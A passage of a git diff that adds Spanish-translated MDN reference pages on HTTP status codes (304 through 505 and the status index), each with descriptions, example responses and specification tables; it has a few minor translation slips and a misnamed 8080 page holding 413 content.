+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.304")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/es/web/http/status/400/index.html b/files/es/web/http/status/400/index.html
new file mode 100644
index 0000000000..eb2ef6e2d8
--- /dev/null
+++ b/files/es/web/http/status/400/index.html
@@ -0,0 +1,38 @@
+---
+title: 400 Petición mala
+slug: Web/HTTP/Status/400
+tags:
+  - Codigo de Estado
+  - Error del cliente
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La respuesta de código de estado del Protocolo de Transferencia de Hipertexto (HTTP) <code><strong>400 Bad Request</strong></code> indica que el servidor no puede o no procesará la petición debido a algo que es percibido como un error del cliente (p. ej., sintaxis de petición malformada, solicitud inválida de enmarcado de mensajes, o enrutamiento engañoso de peticiones).</p>
+
+<div class="warning">
+<p>El cliente no debería repetir esta petición sin modificarla.</p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">400 Petición mala</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/http/status/401/index.html b/files/es/web/http/status/401/index.html
new file mode 100644
index 0000000000..e454a79a08
--- /dev/null
+++ b/files/es/web/http/status/401/index.html
@@ -0,0 +1,54 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de error HTTP 401 indica que la petición (request) no ha sido ejecutada porque carece de credenciales válidas de autenticación para el recurso solicitado.</p>
+
+<p>Este estatus se envia con un {{HTTPHeader("WWW-Authenticate")}} encabezado que contiene informacion sobre como autorizar correctamente.</p>
+
+<p>Es similar al estatus {{HTTPStatus("403")}}, pero en este caso , la autenticación si es posible.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">401 Unauthorized</pre>
+
+<h2 id="Respuesta_de_ejemplo">Respuesta de ejemplo</h2>
+
+<pre>HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si usted desea contribuir con los datos, consulte: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos una Pull Request.</p>
+
+<p>{{Compat("http.status.401")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/status/403/index.html b/files/es/web/http/status/403/index.html
new file mode 100644
index 0000000000..9110d5f78a
--- /dev/null
+++ b/files/es/web/http/status/403/index.html
@@ -0,0 +1,49 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El código de error de respuesta HTTP <strong><code>403 Forbidden</code></strong> indica que el servidor ha entendido nuestra petición, pero se niega a autorizarla.</div>
+
+<div> </div>
+
+<div>Este estado es similar a {{HTTPStatus("401")}}, pero en este caso, re-autenticarnos no provocará ninguna diferencia. El acceso está permanentemente prohibido y vinculado a la lógica de la aplicación (como un error de contraseña incorrecta).</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">403 Forbidden</pre>
+
+<h2 id="Respuesta_de_ejemplo">Respuesta de ejemplo</h2>
+
+<pre>HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte https://github.com/mdn/browser-compat-data y envíanos una Pull Request.</p>
+
+<p>{{Compat("http.status.403")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+</ul>
diff --git a/files/es/web/http/status/404/index.html b/files/es/web/http/status/404/index.html
new file mode 100644
index 0000000000..b1296c8043
--- /dev/null
+++ b/files/es/web/http/status/404/index.html
@@ -0,0 +1,64 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+tags:
+  - Codigo de Estado
+  - Error de Cliente
+  - HTTP
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El codigo de error HTTP <code><strong>404 Not Found</strong></code> (404 No Encontrado) de respuesta de cliente indica que el servidor no puede encontrar el recurso solicitado. Vinculos que conducen a una pagina 404 son normalmente llamados <em>vinculos rotos</em> o <em>vinculos muertos</em>, y pueden estar sujetos a <a href="https://es.wikipedia.org/wiki/Enlace_roto">Enlace Roto</a>.</p>
+
+<p>Un código de estado 404 no indica si el recurso está temporalmente o permanentemente ausente. Pero si un recurso es permanentemente eliminado, un {{HTTPStatus(410)}} (Gone) debe ser usado en lugar del estado 404.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">404 Not Found</pre>
+
+<p>En español:</p>
+
+<pre class="syntaxbox">404 No Encontrado</pre>
+
+<h2 id="Paginas_de_error_personalizadas">Paginas de error personalizadas</h2>
+
+<p>Muchos sitios web personalizan la apariencia de la pagina 404 para que sea de utilidad al usuario y proveen una guia para saber qué hacer. Servidores Apache pueden ser configurados usando un archivo <code>.htaccess</code> con el siguiente codigo:</p>
+
+<pre class="brush: bash">ErrorDocument 404 /no-encontrado.html</pre>
+
+<p>Para una pagina 404 de ejemplo, mire la pagina <a href="https://developer.mozilla.org/es/404">MDN 404</a>.</p>
+
+<div class="note">
+<p>Diseños personalizados son buenos, si se usan de manera moderada. Siente libre de hacer tus paginas 404 humoristicas y humanas, pero no confundas a tus usuarios.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semanticas y contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.404")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/es/web/http/status/408/index.html b/files/es/web/http/status/408/index.html
new file mode 100644
index 0000000000..0f6d418a72
--- /dev/null
+++ b/files/es/web/http/status/408/index.html
@@ -0,0 +1,42 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de estado de la respuesta <code><strong>408 Request Timeout</strong></code> del Protocolo de Transferencia de Hipertexto (HTTP) significa que el servidor desea cerrar esta conexión no usada. Se envía a una conexión inactiva por algunos servidores, incluso sin solicitud previa por parte del cliente.</p>
+
+<p>Un servidor debe enviar "close" en el campo de la cabecera {{HTTPHeader("Connection")}} en la respuesta, ya que <code>408</code> implica que el servidor ha decidido cerrar la conexión en lugar de continuar esperando.</p>
+
+<p>Esta respuesta es usada mucho más desde que algunos navegadores, como Chrome, Firefox 27+, y IE9, usan el mecanizmo de pre-conexión HTTP para acelerar la naveación.</p>
+
+<div class="note">
+<p><strong>Nota: </strong><span id="result_box" lang="es">algunos servidores simplemente cierran la conexión sin enviar este mensaje.</span></p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">408 Request Timeout</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+   <td>Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y Contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+</ul>
diff --git a/files/es/web/http/status/418/index.html b/files/es/web/http/status/418/index.html
new file mode 100644
index 0000000000..2d2713f438
--- /dev/null
+++ b/files/es/web/http/status/418/index.html
@@ -0,0 +1,45 @@
+---
+title: 418 Soy una tetera
+slug: Web/HTTP/Status/418
+tags:
+  - HTTP
+  - HTTP Status Code
+  - Protocolo HTTP
+  - Referencia
+translation_of: Web/HTTP/Status/418
+---
+<p>El código de error HTTP <strong><code>418 Soy una tetera</code></strong> indica que el servidor se rehusa a preparar café porque es una tetera. Este error es una referencia al Hyper Text Coffee Pot Control Protocol, creado como parte de una broma del April Fools' de 1998.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, por favor, eche un vistazo a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol" lang="ES">Wikipedia: Hyper Text Coffee Pot Control Protocol (Español)</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol" lang="EN">Wikipedia: Hyper Text Coffee Pot Control Protocol (Inglés)</a></li>
+</ul>
diff --git a/files/es/web/http/status/500/index.html b/files/es/web/http/status/500/index.html
new file mode 100644
index 0000000000..be3984a115
--- /dev/null
+++ b/files/es/web/http/status/500/index.html
@@ -0,0 +1,39 @@
+---
+title: 500 Error Interno del Servidor
+slug: Web/HTTP/Status/500
+tags:
+  - Codigo de Estado
+  - Error del servidor
+  - HTTP
+translation_of: Web/HTTP/Status/500
+---
+<p>El código de respuesta <code><strong>500 Error Interno del Servidor</strong></code> del Protocolo de Transferencia de Hipertexto (HTTP) indica que el servidor encontró una condición inesperada que le impide completar la petición.</p>
+
+<p>Este código es una respuesta genércia. Usualmente, esto indica que el servidor no puede encontrar un mejor código de respuesta del tipo 5xx. En ocasiones, los administradores del servidor registran respuestas como el código de estado 500 con más detalles sobre la petición en aras de evitar que el error vuelva a ocurrir en el futuro.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox notranslate">500 Error Interno del Servidor</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Error Interno del Servidor" , "6.6.1")}}</td>
+   <td><span class="tlid-translation translation"><span title="">Protocolo de Transferencia de Hipertexto</span></span> (HTTP/1.1): <span class="tlid-translation translation"><span title="">Semántica y Contenido</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p><span class="tlid-translation translation"><span title="">La información que se muestra a continuación se ha extraído del MDN de GitHub.</span></span> (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden"><span class="tlid-translation translation"><span title="">La tabla de compatibilidad en esta página se genera a partir de datos estructurados.</span> <span title="">Si desea contribuir a los datos, por favor revise</span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">y envíenos una solicitud pull.</span></span></p>
+
+<p>{{Compat("http.status.500")}}</p>
diff --git a/files/es/web/http/status/502/index.html b/files/es/web/http/status/502/index.html
new file mode 100644
index 0000000000..ada07e38c5
--- /dev/null
+++ b/files/es/web/http/status/502/index.html
@@ -0,0 +1,48 @@
+---
+title: 502 Puerta de enlace no válida
+slug: Web/HTTP/Status/502
+tags:
+  - Codigo de Estado
+  - Error de servidor
+  - HTTP
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respuesta de error del servidor de HTTP <code><strong>502 Bad Gateway</strong></code> indica que el servidor, mientras actuaba como una puerta de enlace o proxy, recibió una respuesta no válida del servidor ascendente.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Una {{interwiki("wikipedia", "Puerta_de_enlace", "puerta de enlace")}} puede referirse a cosas distintas en redes y un error 502 no es algo que normalmente puedas arreglar, ya que requiere correcciones por parte del servidor o los proxies a través de los que intentas acceder.</p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">502 Bad Gateway</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.502")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+ <li><a href="https://www.lucushost.com/blog/502-bad-gateway-solucionar-error-502-wordpress/">502 Bad Gateway</a></li>
+</ul>
diff --git a/files/es/web/http/status/503/index.html b/files/es/web/http/status/503/index.html
new file mode 100644
index 0000000000..45d302d241
--- /dev/null
+++ b/files/es/web/http/status/503/index.html
@@ -0,0 +1,54 @@
+---
+title: 503 Servicio No Disponible
+slug: Web/HTTP/Status/503
+tags:
+  - Codigo de Estado
+  - Error de servidor
+  - HTTP
+  - error 503
+translation_of: Web/HTTP/Status/503
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>El envío de un código de error <code><strong>503 Servicio No Disponible</strong></code> como respuesta por un servidor que use el Protocolo de Transferencia de Hipertexto (HTTP) indica que el servidor no está listo para manejar la solicitud.</p>
+
+<p>Las causas más comunes son que el servidor esté apagado por mantenimiento o esté sobrecargado. Esta respuesta debería usarse para condiciones temporales y la cabecera HTTP {{HTTPHeader("Retry-After")}} debería, si es posible, contener el tiempo estimado para la recuperación del servicio.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> debería enviarse con esta respuesta una página informativa explicando el problema.</p>
+</div>
+
+<p>Debe tenerse cuidado con las cabeceras relacionadas con la caché, ya que un estado 503 suele ser algo temporal, y, por lo tanto, no se deberían almacenar las respuestas en caché.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">503 Servicio No Disponible</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+   <td>Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semántica y Contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_Navegadores">Compatibilidad entre Navegadores</h2>
+
+<p>La información mostrada abajo ha sido obtenida desde el GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si quieres contribuir a estos datos, por favor consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</p>
+
+<p>{{Compat("http.status.503")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/es/web/http/status/504/index.html b/files/es/web/http/status/504/index.html
new file mode 100644
index 0000000000..e5013fc428
--- /dev/null
+++ b/files/es/web/http/status/504/index.html
@@ -0,0 +1,47 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div> </div>
+
+<div>El código de respuesta de error del servidor de HTTP  <code><strong>504 Gateway Timeout</strong></code> indica que el servidor, mientras actuaba como una puerta de enlace o proxy, no pudo obtener una respuesta a tiempo.</div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Nota: </strong>Una {{interwiki("wikipedia", "Puerta_de_enlace", "puerta de enlace")}} puede referirse a cosas distintas en redes y un error 502 no es algo que normalmente puedas arreglar, ya que requiere correcciones por parte del servidor o los proxies a través de los que intentas acceder.</p>
+</div>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">504 Gateway Timeout</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>La información que se muestra a continuación fue extraída de la de cuenta de Github de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.504")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/es/web/http/status/505/index.html b/files/es/web/http/status/505/index.html
new file mode 100644
index 0000000000..8a814d19c2
--- /dev/null
+++ b/files/es/web/http/status/505/index.html
@@ -0,0 +1,33 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HyperText Transfer Protocol (HTTP) <code><strong>505 HTTP Version Not Supported</strong></code> response status code indicates that the HTTP version used in the request is not supported by the server.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">505 HTTP Version Not Supported</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/es/web/http/status/8080/index.html b/files/es/web/http/status/8080/index.html
new file mode 100644
index 0000000000..10ad4ac7b2
--- /dev/null
+++ b/files/es/web/http/status/8080/index.html
@@ -0,0 +1,34 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/8080
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <code><strong>413 Payload Too Large</strong></code> response status code indicates that the request entity is larger than limits defined by server; the server might close the connection or return a {{HTTPHeader("Retry-After")}} header field.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/es/web/http/status/index.html b/files/es/web/http/status/index.html
new file mode 100644
index 0000000000..1db976d0af
--- /dev/null
+++ b/files/es/web/http/status/index.html
@@ -0,0 +1,192 @@
+---
+title: Códigos de estado de respuesta HTTP
+slug: Web/HTTP/Status
+tags:
+  - Códigos de estado
+  - HTTP
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Los códigos de estado de respuesta HTTP indican si se ha completado satisfactoriamente una solicitud HTTP específica. Las respuestas se agrupan en cinco clases:</p>
+
+<ol>
+ <li>Respuestas informativas <span class="seoSummary">(<code>100</code>–<code>199</code>),</span></li>
+ <li>Respuestas satisfactorias <span class="seoSummary">(<code>200</code>–<code>299</code>),</span></li>
+ <li>Redirecciones <span class="seoSummary">(<code>300</code>–<code>399</code>),</span></li>
+ <li>Errores de los clientes <span class="seoSummary">(<code>400</code>–<code>499</code>),</span></li>
+ <li>y errores de los servidores <span class="seoSummary">(<code>500</code>–<code>599</code>)</span>.</li>
+</ol>
+
+<p>Los códigos de estado se definen en la sección 10 de<a href="https://tools.ietf.org/html/rfc2616#section-10"> RFC 2616</a>. Puedes obtener las especificaciones actualizadas en <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231.</a></p>
+
+<h2 id="Respuestas_informativas">Respuestas informativas</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>Esta respuesta provisional indica que todo hasta ahora está bien y que el cliente debe continuar con la solicitud o ignorarla si ya está terminada.</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>Este código se envía en respuesta a un encabezado de solicitud {{HTTPHeader("Upgrade")}} por el cliente e indica que el servidor acepta el cambio de protocolo propuesto por el agente de usuario.</dd>
+ <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Este código indica que el servidor ha recibido la solicitud y aún se encuentra procesandola, por lo que no hay respuesta disponible.</dd>
+ <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt>
+ <dd>Este código de estado está pensado principalmente para ser usado con el encabezado {{HTTPHeader("Link")}}, permitiendo que el agente de usuario empiece a <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">pre-cargar</a> recursos mientras el servidor prepara una respuesta.</dd>
+</dl>
+
+<h2 id="Respuestas_satisfactorias">Respuestas satisfactorias</h2>
+
+<ul>
+ <li><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>GET</code>: El recurso se ha obtenido y se transmite en el cuerpo del mensaje.</li>
+ <li><code>HEAD</code>: Los encabezados de entidad están en el cuerpo del mensaje.</li>
+ <li><code>PUT</code> o <code>POST</code>: El recurso que describe el resultado de la acción se transmite en el cuerpo del mensaje.</li>
+ <li><code>TRACE</code>: El cuerpo del mensaje contiene el mensaje de solicitud recibido por el servidor.<span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></li>
+</ul>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>La solicitud ha tenido éxito. El significado de un éxito varía dependiendo del método HTTP:</dd>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>La solicitud ha tenido éxito y se ha creado un nuevo recurso como resultado de ello. Ésta es típicamente la respuesta enviada después de una petición PUT.</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>La solicitud se ha recibido, pero aún no se ha actuado. Es una petición "sin compromiso", lo que significa que no hay manera en HTTP que permite enviar una respuesta asíncrona que indique el resultado del procesamiento de la solicitud. Está pensado para los casos en que otro proceso o servidor maneja la solicitud, o para el procesamiento por lotes.</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>La petición se ha completado con éxito, pero su contenido no se ha obtenido de la fuente originalmente solicitada, sino que se recoge de una copia local o de un tercero. Excepto esta condición, se debe preferir una respuesta de 200 OK en lugar de esta respuesta.</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>La petición se ha completado con éxito pero su respuesta no tiene ningún contenido, aunque los encabezados pueden ser útiles. El agente de usuario puede actualizar sus encabezados en caché para este recurso con los nuevos valores.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>La petición se ha completado con éxito, pero su respuesta no tiene contenidos y además, el agente de usuario tiene que inicializar la página desde la que se realizó la petición, este código es útil por ejemplo para páginas con formularios cuyo contenido debe borrarse después de que el usuario lo envíe.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
+ <dd>La petición servirá parcialmente el contenido solicitado. Esta característica es utilizada por herramientas de descarga como wget para continuar la transferencia de descargas anteriormente interrumpidas, o para dividir una descarga y procesar las partes simultáneamente.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Una respuesta Multi-Estado transmite información sobre varios recursos en situaciones en las que varios códigos de estado podrían ser apropiados. El cuerpo de la petición es un mensaje XML.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>El listado de elementos DAV ya se notificó previamente, por lo que no se van a volver a listar.</dd>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>El servidor ha cumplido una petición <code>GET</code> para el recurso y la respuesta es una representación del resultado de una o más manipulaciones de instancia aplicadas a la instancia actual.</dd>
+</dl>
+
+<h2 id="Redirecciones">Redirecciones</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
